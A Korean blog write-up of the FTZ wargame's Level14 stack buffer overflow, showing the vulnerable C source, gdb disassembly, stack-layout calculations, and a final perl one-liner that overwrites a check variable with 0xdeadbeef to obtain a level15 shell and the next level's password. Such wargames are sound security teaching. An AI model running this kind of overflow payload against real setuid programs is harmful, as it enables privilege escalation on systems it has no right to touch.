본문으로 바로가기

Level14 문제 해결

category Security/리버싱 2017. 12. 6. 22:18

ftz.hacker.shcool.org의 이미지를 받아서 실습했습니다. 


- Level14

level14 / what that nigga want?


[level14@ftz level14]$ ls -l

 

 합계 28

-rwsr-x---    1 level15  level14     13801 12월 10  2002 attackme

-rw-r-----    1 root     level14       346 12월 10  2002 hint

drwxr-xr-x    2 root     level14      4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level14      4096  1월 11  2009 tmp

 


[level14@ftz level14]$ cat hint

 

 레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}

 

> 14번 이후로는 버퍼 오버플로우와 포맷스트링에 관련된 문제 인가보네요

> 쉘을 실행 시키는 구문이 있으니까 쉘코드는 안써도 되고 check라는 곳만 잘 맞춰 주면 될 거 같습니다. 


[level14@ftz level14]$ cp attackme ./tmp

[level14@ftz level14]$ cd tmp

[level14@ftz tmp]$ gdb -q attackme

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>:    push   %ebp

0x08048491 <main+1>:    mov    %esp,%ebp

0x08048493 <main+3>:    sub    $0x38,%esp

0x08048496 <main+6>:    sub    $0x4,%esp

0x08048499 <main+9>:    pushl  0x8049664

0x0804849f <main+15>:   push   $0x2d

0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax

0x080484a4 <main+20>:   push   %eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    $0x10,%esp

0x080484ad <main+29>:   cmpl   $0xdeadbeef,0xfffffff0(%ebp)

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    $0x8,%esp

0x080484b9 <main+41>:   push   $0xc17

0x080484be <main+46>:   push   $0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    $0x10,%esp

0x080484cb <main+59>:   sub    $0xc,%esp

0x080484ce <main+62>:   push   $0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    $0x10,%esp

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    0x0(%esi),%esi

End of assembler dump.


 

> 변수의 공간은 38( 56bytes ) 입니다. 

> 변수는 crap(4) check(4) buf(20) 으로 28bytes, 나머지 28bytes는 더미 공간임을 알 수 있습니다. 

> 변수가 초기화도 안되어있고 버퍼에 20개를 다 체워도 cheack와 crap이 어디에 있는지 알기 어렵습니다. 

> 코드가 나와있으니까 각 변수의 주소를 출력하는 구문을 추가해 돌려 봅니다. 


[level14@ftz tmp]$ vi hint.c

 

 #include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

   printf("crap = %p\n check = %p\n buf = %p\n",&crap,&check,&buf);

}

 


[level14@ftz tmp]$ ./hint

 

 

crap = 0xbffff8ec

check = 0xbffff8e8
buf = 0xbffff8c0

 

> 프로그램을 몇번 돌리면 주소가 바뀌는걸 알 수 있습니다. 

> 간격은 일정하니 계산해서 알아보자면 



 

 

 buf

  dummy

 check 

 

 

 0xbffff8c0

  20bytes

 0xbffff8e8

 4bytes

 

 

 

 40bytes

 

 


check - buf = 40bytes ( check의 끝에서 buf의 끝을 뺀 값이다.) 거기서 buf만큼 빼면 check와 buf 사이의 공간을 알 수 있다. 

40 - 20 = 20bytes


crap과 check는 4bytes 차이 나므로 더미 공간이 없다. 나머지 8bytes는 자동으로 crap과 SFP 사이의 더미 공간이 되겠다. 


 

buf 

dummy 

check 

crap 

dummy 

SFP 

RET 

.... 

 

 

20bytes 

20bytes 

4bytes 

4bytes 

8bytes 

4bytes 

4bytes 

....

 


> buf와 dummy 40bytes를 아무 거나 넣어 체우고 check 에 deadbeef만 넣으면 된다. 


[level14@ftz level14]$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"';cat) | ./attackme

 

 

id

uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass


Level15 Password is "guess what".